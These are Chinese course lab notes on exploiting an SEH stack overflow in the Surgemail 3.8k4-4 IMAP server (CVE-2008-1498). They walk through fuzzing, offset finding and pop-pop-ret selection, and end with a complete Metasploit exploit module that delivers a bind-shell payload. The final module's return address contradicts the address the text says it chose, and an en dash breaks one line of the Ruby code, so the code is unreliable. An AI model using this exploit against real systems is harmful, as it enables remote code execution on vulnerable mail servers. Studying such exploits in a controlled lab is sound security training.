网安实践 渗透测试2

2021年第四次网安实践内容笔记

实验环境

操作系统

  • 攻击机Attacker:Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
  • 靶机Target:Windows XP Professional 2002 Service Pack 3

Metasploit

  • 版本Version:
    • Framework: 6.0.41-dev
    • Console : 6.0.41-dev

漏洞简述 CVE-2008-1498

NetWin Surgemail 3.8k4-4 - IMAP (Authenticated) Remote LIST Universal

有关漏洞的基础信息在该网站上都有,包括:

  • 用于演示的特定版本的Surgemail
  • Python的漏洞利用Exploit代码

漏洞内容

NetWin Surgemail 3.8k4-4和更早版本中的IMAP服务,会允许能够完成身份验证的用户,通过构造一个超长的LIST命令的参数,来利用堆栈缓冲区溢出的漏洞,达到执行任意代码的目的。

模糊测试 Fuzz

模糊测试简单来说就是自动化生成大量随机的、非预期的输入,触发一些平常很难触及的程序逻辑分支,以期让目标程序Crash

对导致目标程序Crash的输入内容进行分析,有可能发现目标程序的一些漏洞。

[翻译]模糊测试: 初学者入门指南-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com

结构化异常处理 SEH

什么是异常处理Exception Handler

异常处理Exception Handler是程序中用于处理程序运行中的报错的代码,一般表现为如下的try-catch结构

try {
  // 尝试运行的代码,如果无法出现异常则跳转到catch中的代码处理异常
} catch {
  // 当异常出现时用于处理异常的代码
}

而SEH是结构化异常处理的简称(Structure Exception Handler),是Windows操作系统用于处理异常的一种数据结构,每个SEH包含两个DWORD指针,分别为:

  • DWORD: Pointer to next SEH record
    • 指向下一个SEH,如果当前SEH无法处理这个异常,将会从当前跳转到下一个
  • DWORD: Pointer to Exception Handler
    • 指向保存异常处理的代码,即常说的Exception Handler代码

SEH是基于线程的,当线程初始化的时候,Windows系统会自动向栈中安装一个SEH作为线程默认的异常处理,即直接退出线程,弹窗报错 “xxx has encountered a problem and needs to close” 。

如果源程序代码中使用了异常处理机制,如try-catch结构或者Assert断言,编译器将会根据这些内容向当前函数的栈帧中安装一个SEH。所以一般来说,栈中一般会同时存在多个SEH,这些SEH以链式的结构进行存储,称为SEH-chain

在栈上的保存结构如下图

image

当出现异常时

当系统开始处理出现的异常时,会开始调用EXCEPTION_DISPOSITION函数,此时在ESP+8的位置存放着Establisher Frame指针,该指针指向SEH-chain中的第一个SEH的第一个DWORD指针,即指向了一个指向了下一个SEH的指针。此时程序开始执行第一个SEH的Exception Handler部分。

我们要做的SEH溢出漏洞利用,攻击串的结构如下所示:

[一段任意的缓冲区填充 | NOP空指令滑行区 | ShellCode | Near JMP | Short JMP | PPR]

我们所要做的是,让攻击串的Short JMP指令(四个字节)覆盖第一个SEH结构的第一个DWORD指针,即覆盖指向下一个SEH的指针,让攻击串中的指向pop-pop-ret序列的指针,覆盖第一个SEH的第二个DWORD指针,即覆盖EH。

从上文可以看出,SEH漏洞利用几乎是要和pop-pop-ret序列绑定的。

当处理异常的过程中,系统尝试使用第一个SEH的EH指向的代码处理异常时,将会根据地址找到我们预先找好的pop-pop-ret序列,两个pop指令执行结束后,ESP就指向了Establisher Frame指针,此时再执行一次ret指令,将会引导EIP指向Establisher Frame所保存的地址,即指向了栈中第一个SEH的第一个DWORD指针,即下一条命令执行Short JMP。

执行一次短跳转后,EIP将被我们引导到更低地址的近跳转Near JMP,再通过一次跳转,将EIP引导到较远的位置,再通过NOP指令让EIP滑到ShellCode的起始位置,来执行比较长的ShellCode。

图示如下

image_thumb13

为什么不直接让EH指向ShellCode

因为根据操作系统不同,版本不同,被读入的攻击串的存放地址也是不同的。

直接给EH指定ShellCode地址的话,如果换了另一个操作系统,比如Windows 7,那脚本在攻击过程中是大概率找不到ShellCode的。

因为存在这种问题,所以要尽量使用程序中已有的信息,不依赖于绝对的地址,来构建更加具有泛用性的攻击脚本。

为什么要用两次跳转

因为一个DWORD是4个字节,一次近跳转是5个字节,而一次短跳转是4个字节。

显然无法直接填充一个近跳转,但是填充短跳转的话,跳转距离又不够写入ShellCode的,所以就需要跳转两次,将EIP引导到较远的位置,再通过NOP指令让EIP滑到ShellCode的起始位置,来执行比较长的ShellCode。

参考资料

攻击windows异常处理机制SEH_0pt1mus-CSDN博客

Exploit writing tutorial part 3 : SEH Based Exploits | Corelan Cybersecurity ResearchCorelan Cybersecurity Research

结构化异常SEH处理机制详细介绍(一) - 活着的虫子 - 博客园 (cnblogs.com)

The need for a POP POP RET instruction sequence | Dimitrios Kalemis (wordpress.com)

具体操作流程

脚本保存位置

~/.msf4/modules/脚本具体分类

这个保存位置一般都是保存的用户自己写的脚本。

这里和老师的课件内容不一样,课件是直接把内容保存在了/usr/share/metasploit-framework/modules中,如果把自己的脚本也保存在那个文件夹下,可能会破坏原有的Metasploit的主干代码。

靶机上安装Surgemail以及Immunity Debugger

Surgemail的安装包可以从靶机上直接拿,也可以从上文提到的官网上下载对应含有漏洞的版本。

Immunity Debugger靶机上也直接有,也可以去网上找Immunity Debugger (immunityinc.com)官网下载

需要注意的是,因为Surgemail是系统服务,所以Immunity Debugger需要用系统的管理员权限来运行,靶机的用户密码是test

命令行开启关闭Surgemail服务

net start surgemail # 主动开启Surgemail服务
net stop surgemail # 主动关闭Surgemail服务

在每次发生Crash之后,Surgemail大概率都会进入异常,需要手动关闭(有可能他自己已经关了)然后再手动开启。

管理员权限运行Immunity Debugger

右键点击安装好的Immunity Debugger

进入之后,Attach到当前正在运行的Surgemail服务上

image-20210526114210314

image-20210526114646615

需要注意的是,刚Attach上去的时候,Debugger会处于Paused状态,需要手动点一下上面的运行。

模糊测试找到Crash点

在进行漏洞利用之前首先需要检查靶机上是否存在漏洞,常见方法就是进行模糊测试Fuzz,以下是书中提供的脚本

模糊测试脚本,做了一些小修改,目前保证可以在我的电脑上稳定跑:

require 'msf/core'    # POINT A

class Metasploit4 < Msf::Auxiliary        # POINT B
    include Msf::Exploit::Remote::Imap    # POINT C
    include Msf::Auxiliary::Dos           # POINT D

    def initialize    # POINT E
        super(
            'Name'        => 'Simple IMAP Fuzzer',
            'Description' => %q{
                                An example of how to build a simple IMAP
                                fuzzer. Account IMAP credentials are
                                required in this fuzzer.
                               },
            'Author'      => [ 'ryujin' ],
            'License'     => MSF_LICENSE,
            'Version'     => '$ Revision: 1 $'
        )
    end

    def fuzz_str
        return Rex::Text.rand_text_alphanumeric(rand(4096))    # POINT F
    end

    def run    # POINT G
        srand(0)

        while (true)
            connected = connect_login()    # POINT H

            if not connected
                print_status('Host is not responding - this is G00D ;)')
                break
            end

            print_status('Generating fuzzed data...')
            fuzzed = fuzz_str()    # POINT I

            print_status(
                "Sending fuzzed data, buffer length = %d" % fuzzed.length
            )

            req  = '0002 LIST () "/'
            req += fuzzed + '" "PWNED"' + "\r\n"    # POINT J

            print_status(req)

            res = raw_send_recv(req)    # POINT K

            if !res.nil?
                print_status(res)
            else
                print_status('Server crashed, no response')
                break
            end

            disconnect()    # POINT L
        end
    end
end

保存脚本

将该脚本保存到~/.msf4/modules/auxiliary/fuzzers/imap_fuzz.rb

如果不想重新打开MSF窗口来重新载入这个新加的脚本,可以在MSF中(不是在bash里)

reload_all
use auxiliary/fuzzers/imap_fuzz

设置参数

set imapuser <user> # 安装Surgemail的时候注册用户名
set imappass <pass> # 对应用户的密码
set rhosts 192.168.xxx.xxx # 靶机IP地址

image-20210526155132980

运行脚本

msf6 auxiliary(fuzzers/imap_fuzz) > exploit

结果如下

image-20210526155927092

这时来到靶机的Debugger中,发现Surgemail进程已经因为错误而停止运行了

image-20210526160030652

对脚本内容的一些解释

Point A

require 'msf/core'    # POINT A

我们将包含核心库中的所有功能。

MSF具有模块化结构,分为以下几部分:框架核心,基础和ui。

关于MSF架构的完整讨论不在讨论范围之内,MSF地核心库提供了很多接口,它提供了与漏洞利用模块,会话,插件等进行交互的必需功能。具体内容可参见Metasploit Developer’s Guide

Point B

class Metasploit4 < Msf::Auxiliary        # POINT B

我们开始定义类并从Msf::Auxiliary继承。 Metasploitauxiliary模块的特殊之处在于,它们不一定是带有有效Payload的漏洞利用程序。 相反,它们可以被视为侦察工具。 这包括端口扫描程序,模糊测试,信息收集等工具。

Point C & D

include Msf::Exploit::Remote::Imap    # POINT C
include Msf::Auxiliary::Dos           # POINT D

如参考资料“第14章所述”,这部分混入(Mixin)了IMAP类和DoS类。

关于Mixin,它是Ruby的include语法、Python的多重继承语法实现的一种编程模式,和Java中的多重继承的语法差不多,Ruby中是将其他模块include到类的定义中,其他模块中的方法、变量都会被mix到新定义的类中。

引用IMAP类可以让你使用它的登录功能,即登录到Surgemail服务

这个Fuzz测试器的目的则是让服务器崩溃,即这个模块将导致DoS(拒绝服务)

混入(Mixin)让该模块(module)有了IMAP类的登录功能与DoS类中的一些变量,这些内容在后面都会用到。可以看到,这个脚本中并没有提到imapuserimappassrhostsrport变量,但是在设置参数的时候这些变量都存在,这些变量就是从这两个类中混入得到的。

Point E

 def initialize    # POINT E
	super(
		'Name'        => 'Simple IMAP Fuzzer',
		'Description' => %q{
			An example of how to build a simple IMAP
			fuzzer. Account IMAP credentials are
			required in this fuzzer.
		},
        'Author'      => [ 'ryujin' ],
        'License'     => MSF_LICENSE,
        'Version'     => '$ Revision: 1 $'
	)
end

引用父类即IMAP类和DoS类中的属性编辑构造函数initialize()

其实就是给这个脚本补充了一些信息,比如名字、描述、作者之类的。

Point F

def fuzz_str
	return Rex::Text.rand_text_alphanumeric(rand(4096))    # POINT F
end

这里是用于生成发送给服务器的字符串的fuzz_str方法。

目前设置的是生成长度最大为4096字节的一个由字母和数字组成(alphanumeric)的随机化(rand)串。

Rex也是Metasploit的基本部分之一,它是Ruby语言的一个拓展库,可以将其视为Metasploit自己的Ruby API。Rex可以提供一系列的类,例如生成汇编指令、缓冲区编码、基本日志记录、将任务分解为单独的作业等。

Point G

覆写(override)了父类中的run()方法,当用户在MSF中执行run指令时,这个方法将会被调用。如果当前模块不是auxiliary模块,而是一个exploit模块的话,我们将会覆写(override)exploit()方法。

Point H

connected = connect_login()    # POINT H

使用IMAP类中的connect_login()方法来连接到IMAP服务器,并提交自己的账号密码来进行身份验证。将会对靶机(由RHOSTS和RPORT来确定),使用给定的身份信息(IMAPUSER和IMAPPASS)进行登录。

如果连接失败的话,循环将会终止,一般此时就是服务器没有相应,表示服务器已经被我们生成的随机串搞到Crash了。

Point I & J & K

fuzzed = fuzz_str()    # POINT I
req  = '0002 LIST () "/'
req += fuzzed + '" "PWNED"' + "\r\n"    # POINT J
print_status(req)
res = raw_send_recv(req)    # POINT K

生成随机字符串,然后构造发给Surgemail服务的LIST()命令,然后把命令发给靶机,获取返回的信息。

如果没有收到任何返回信息,说明服务已经停止,此时循环将会中断,在攻击机上打印“Server crashed, no response”表示靶机已经Crash了。如果收到返回信息,将会在攻击机上打印收到的返回信息。

Point L

disconnect()    # POINT L

如果能够正常执行以上所有内容,正常连接、正常构造、正常发送、正常获得返回信息,脚本将在一轮循环的最后断开连接,然后开启下一轮循环,直至服务器Crash。

定位SEH的Exception Handler的具体位置

确定能覆盖SEH内容的输入串长度

经过一些尝试,以及参考资料提供的信息,当输入串的长度为11000的时候,通过靶机上的Debugger可以发现,SEH部分的内存已经被覆盖。可以通过修改脚本验证,将输入串的生成从随机生成修改为如下内容:

fuzzed = 'A' * 11000 # 注意上面不需要再调用fuzz_str()来生成了
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

在MSF中执行

rexploit

该命令可以无需重新reload_all所有的脚本,会重新载入这个脚本,然后沿用之前定好的变量内容,重新exploit,可以看到攻击机这边

image-20210526175643119

在靶机这边的Debugger中也能看到,SEH内容已经被大量的A覆盖

通过View - SEH chain可以查看当前进程的SEH链,也可以从内存中看到大量A

image-20210526175716590

通过不重复随机串定位EH的位置

为了准确覆盖EH,需要定位EH对于输入起始位置的偏移量,将脚本中fuzzed内容修改如下

fuzzed = Rex::Text.pattern_create(11000)

pattern_create()会生成一个长度为11000的串,其四字节长度的子串是不重复的

执行结果如下:

image-20210528162423560

在靶机可以查看第一个SEH的EH部分被覆盖的内容:

image-20210528162514519

可以看到第一个SEH的EH被覆盖为了“684E3368”(在其他环境中运行可能是其他的串,但是在网安实践给出的环境中应该都是这个值)。

然后拿着这个覆盖的内容,回到Kali,使用MSF中,/usr/share/metasploit-framework/tools/exploit 中的pattern_offset脚本,可以查看对应的偏移量。

cd /usr/share/metasploit-framework/tools/exploit/
./pattern_offset.rb -q 684E3368 -l 11000

image-20210528164319194

可以看到EH对应的4个字节的偏移量为,10361-10364

可以通过修改脚本对该偏移量进行一些验证,修改fuzzed内容如下

fuzzed = "\x41" * 10360 + "\x42" * 4 + "\x43" * 636

再次rexploit运行脚本,来到靶机查看seh-chain 的内容发现EH内容已经被覆盖为我们特殊构造的\x42

image-20210528164806758

再右键点击EH,选择Follow address in stack,可以看到右下角框框中就来到了覆盖的位置,可以看到覆盖的效果如我们所想,中间EH的四个字节被覆盖为了\x42,前后分别为A和C,即\x41\x43

此时我们可以确定我们已经掌握了正确的EH的偏移量,接下来将按照上文SEH中介绍的模式,构造攻击串。

通过构造Payload覆盖EH内容

上文我们所做的所有内容都是在通过模糊测试发现漏洞,所以我们是在auxiliary模块中写脚本,接下来我们将直接编写Surgemail漏洞的真正的渗透攻击代码

再次说明一次利用SEH漏洞的过程

  1. 通过构造输入出发一次异常处理过程
  2. 用JMP指令覆盖NextSEH即第一个SEH的第一个DWORD指针,来实现跳转到ShellCode
  3. 用指向pop-pop-ret指令序列的指针覆盖SEHandler即第一个SEH的EH部分

找一个合适的pop-pop-ret序列

参考资料中给出了两种找PPR序列的方法:使用Debugger的mona脚本;使用MSF的msfpescan工具。

mona脚本

corelan/mona: Corelan Repository for mona.py (github.com)或者老师给出的脚本保存到 C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\文件夹下

image-20210528170640031

在Immunity Debugger下方的命令行中输入

!mona seh

image-20210528170840830

等脚本运行结束,来到C:\Program Files\Immunity Inc\Immunity Debugger,可以看到出现了一个seh.txt文本文件,内容如下

image-20210528170954980

通过对SafeSEH功能、ASLR功能是否开启,来筛选出来一个能用的PPR序列

可以看到参考资料中所选的0x0078517e位置的序列,基本上啥安全功能都没开,可以作为一个可用的PPR序列

image-20210528171235849

msfpescan工具

将Surgemail.exe从靶机中拷贝到Kali下,并在当前路径下开启MSF,使用如下命令

msfpescan -p ./surgemail.exe

也可以获取其中所有PPR序列的地址,但是信息要比mona脚本少很多。

漏洞利用代码框架

框架如下,保存至~/.msf4/modules/exploits/windows/imap/目录。

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote    # Point A
	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the Surgemail IMAP Server
				version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
				account credentials are required.
			},
			'Author'         => [ 'ryujin' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '28260' ],
					[ 'CVE', '2008-1498' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/5259' ]
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'       => 10351,
					'DisableNops' => true,
					'BadChars'    => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => "\x90\xf6\x6e" } ]
				],
			'DisclosureDate' => 'March 13 2008',
			'DefaultTarget'  => 0))
	end

	def exploit
		connected = connect_login

		lead = "\x41" * 10360                    # Point B
		evil = lead + [target.ret].pack("A3")    # Point C

		print_status("Sending payload")

		sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"    # Point D
		sock.put(sploit)

		handler
		disconnect
	end
end

对脚本内容的一些解释

'References' =>
    [
        [ 'BID', '28260' ],
        [ 'CVE', '2008-1498' ],
        [ 'URL', 'http://www.exploit-db.com/exploits/5259' ]
    ]

补充了漏洞的一些信息,BID和CVE是漏洞的编号,URL中则是漏洞的相关信息,以上补充的信息将会在MSF收到info命令的时候打印出来

image-20210529150126705

'Privileged' => false

也是补充了一些信息,说明该漏洞利用成功的时候,获取到的shell的权限不是特权用户(如root、Administrator或者SYSTEM),仅仅是普通用户。漏洞利用成功后,攻击者也可以通过其他方法进行提权,这里标记的只是刚渗透攻击成功的时候用户的权限。

'DefaultOptions' =>
    {
        'EXITFUNC' => 'thread'
    }

DefaultOptions部分是用来修改MSF中一些默认值的,这里修改了EXITFUNC,表明我们的ShellCode运行的环境是线程Thread,当ShellCode退出线程,将会回到靶机的正常工作环境(而不是还在其他环境中)。

'Payload' =>
    {
        'Space' => 10351,
        'DisableNops' => true,
        'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
    }

这是对Payload的一些属性的设置,Space表明攻击负载Payload的最大长度为10351字节(因为需要留出9个字节的两次跳转的指令的长度),DisableNops表明不允许自动填充NOP指令(因为我们自己手动填充了大量的NOP指令),BadChars包含了可能会引起ShellCode不正常执行的一些字符(比如\x00字符),这里写出的这些字符都将不会用作Payload的编码。

'Targets' =>
    [
        [ 'Windows Universal', { 'Ret' => "\x7e\x51\x78" } ]
    ]

这里是添加了PPR序列的地址,之所以要前面声明Windows Universal是因为Surgemail的这个漏洞是在任何版本的Windows上都会发生的,如果只会在特定版本出现,则需要设置特定的操作系统的版本。

'DefaultTarget' => 0

表明默认使用第0个Target,即上文定义的唯一一个Target。

lead = "\x41" * 10360                    # Point B
evil = lead + [target.ret].pack("A3")    # Point C

目前还没有开始构造,除了最后的PPR序列的地址,其他填充的目前都还是“A”

构造攻击串

根据上文的介绍,我们的攻击串的结构如下

[一段任意的缓冲区填充 | NOP空指令滑行区 | ShellCode | Near JMP | Short JMP | PPR]

其中前两段合并为全部填充NOP指令,即lead部分

ShellCode部分将由MSF框架中的其他脚本组成,将在执行脚本的时候设置,即payload部分

Near JMP部分将填充一个向低地址跳转的5字节近跳转指令,即near部分

“\xe9\xdd\xd7\xff\xff"是jmp dword 0xffffd7e2的字节码,其中0xffffd7e2是-10270的补码,向低地址跳转了10270字节

Short JMP部分将填充一个向低地址跳转的4字节跳转指令,因为这部分覆盖的是SEH的NextSEH指针,所以叫nseh部分

PPR部分将由[target.ret].pack("A3")填充PPR序列的地址

lead = "\x90" * (10351 – payload.encoded.length)
near = "\xe9\xdd\xd7\xff\xff"
nseh = "\xeb\xf9\x90\x90"
evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")

检查是否能正确覆盖

修改完上述的攻击脚本后,就可以进行攻击了,首先使用的攻击载荷Payload为generic/debug_trap,这并不是一个真正的攻击载荷,而是发送了大量的\xCC(中断指令),方便对渗透攻击指令的执行流程进行动态调试,这方便我们检查攻击过程中ShellCode是否已经被插入到了正确位置并正确被执行。

use exploit/windows/imap/surgemail_overflow
set imapuser <username>
set imappass <userpass>
set rhosts <target ip>
set payload generic/debug_trap

image-20210529142325351

可以看到用generic/debug_trap作为攻击载荷的时候,并不会获得Shell,出现上图信息基本上就是攻击成功了,具体信息需要来到靶机来查看

image-20210529143144390

可以看到内容已经被覆盖成了我们想要的样子

真正的攻击

就把payload换一下就行,记得重启Surgemail,这样可能会出现不成功的情况,多试几次

这次不用开启Debugger了,要不然异常处理会被拦下来

set payload windows/shell_bind_tcp

亲测上面这个payload比《第14章》的那个好用

image-20210529145936136

添加脚本的漏洞检测模块Check

最后完整能用的漏洞利用脚本如下surgemail_overflow.rb:

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the Surgemail IMAP Server
				version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
				account credentials are required.
			},
			'Author'         => [ 'ryujin' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '28260' ],
					[ 'CVE', '2008-1498' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/5259' ]
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'       => 10351,
					'DisableNops' => true,
					'BadChars'    => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => "\x90\xf6\x6e" } ]
				],
			'DisclosureDate' => 'March 13 2008',
			'DefaultTarget'  => 0))
	end

        def check
            connect
            disconnect

            if (banner and banner =~ /(Version 3.8k4-4)/)
                return Exploit::CheckCode::Vulnerable
            end

            return Exploit::CheckCode::Safe
        end

	def exploit
		connected = connect_login

		# Final Evil String
        lead = "\x90" * (10351 – payload.encoded.length)
        near = "\xe9\xdd\xd7\xff\xff"
        nseh = "\xeb\xf9\x90\x90"
        evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")

		print_status("Sending payload")

		sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
		sock.put(sploit)

		handler
		disconnect
	end
end

是用于检测靶机上有无目标漏洞的,使用方法如下图

image-20210529150042381